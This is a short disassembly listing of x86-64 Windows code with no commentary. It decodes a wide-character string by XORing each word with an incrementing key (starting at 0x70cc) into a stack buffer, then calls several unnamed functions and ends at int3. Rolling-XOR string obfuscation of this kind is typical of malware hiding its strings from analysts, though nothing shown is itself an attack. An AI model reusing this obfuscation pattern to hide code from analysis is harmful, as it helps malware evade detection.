mov word [rbp + 0x418], ax
mov ecx, 0x70cc
movzx eax, word [0x140019da8]
xor ax, cx
mov ecx, 0x70cd
mov word [rbp + 0x41a], ax
movzx eax, word [0x140019daa]
xor ax, cx
mov ecx, 0x70ce
mov word [rbp + 0x41c], ax
movzx eax, word [0x140019dac]
xor ax, cx
mov ecx, 0x70cf
mov word [rbp + 0x41e], ax
movzx eax, word [0x140019dae]
xor ax, cx
mov ecx, 0x70d0
mov word [rbp + 0x420], ax
movzx eax, word [0x140019db0]
xor ax, cx
mov ecx, 0x70d1
mov word [rbp + 0x422], ax
movzx eax, word [0x140019db2]
xor ax, cx
mov ecx, 0x70d2
mov word [rbp + 0x424], ax
movzx eax, word [0x140019db4]
xor ax, cx
mov ecx, 0x70d3
mov word [rbp + 0x426], ax
movzx eax, word [0x140019db6]
xor ax, cx
mov ecx, 0x70d4
mov word [rbp + 0x428], ax
movzx eax, word [0x140019db8]
xor ax, cx
mov ecx, 0x70d5
mov word [rbp + 0x42a], ax
movzx eax, word [0x140019dba]
xor ax, cx
mov ecx, 0x70d6
mov word [rbp + 0x42c], ax
movzx eax, word [0x140019dbc]
xor ax, cx
mov ecx, 0x70d7
mov word [rbp + 0x42e], ax
movzx eax, word [0x140019dbe]
xor ax, cx
mov ecx, 0x70d8
mov word [rbp + 0x430], ax
movzx eax, word [0x140019dc0]
xor ax, cx
mov ecx, 0x70d9
mov word [rbp + 0x432], ax
movzx eax, word [0x140019dc2]
xor ax, cx
mov ecx, 0x70da
mov word [rbp + 0x434], ax
movzx eax, word [0x140019dc4]
xor ax, cx
mov ecx, 0x70db
mov word [rbp + 0x436], ax
movzx eax, word [0x140019dc6]
xor ax, cx
mov ecx, 0x70dc
mov word [rbp + 0x438], ax
movzx eax, word [0x140019dc8]
xor ax, cx
mov ecx, 0x70dd
mov word [rbp + 0x43a], ax
movzx eax, word [0x140019dca]
xor ax, cx
mov ecx, 0x70de
mov word [rbp + 0x43c], ax
movzx eax, word [0x140019dcc]
xor ax, cx
lea rcx, [rbp + 0x310]
mov word [rbp + 0x43e], ax
xor eax, eax
mov word [rbp + 0x440], ax
call fcn.140002aa0
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.140002f00
lea rcx, [rbp + 0x270]
call fcn.140002ef0
mov rcx, rax
call fcn.1400011d0
mov ecx, 1
call fcn.140006bc8
int3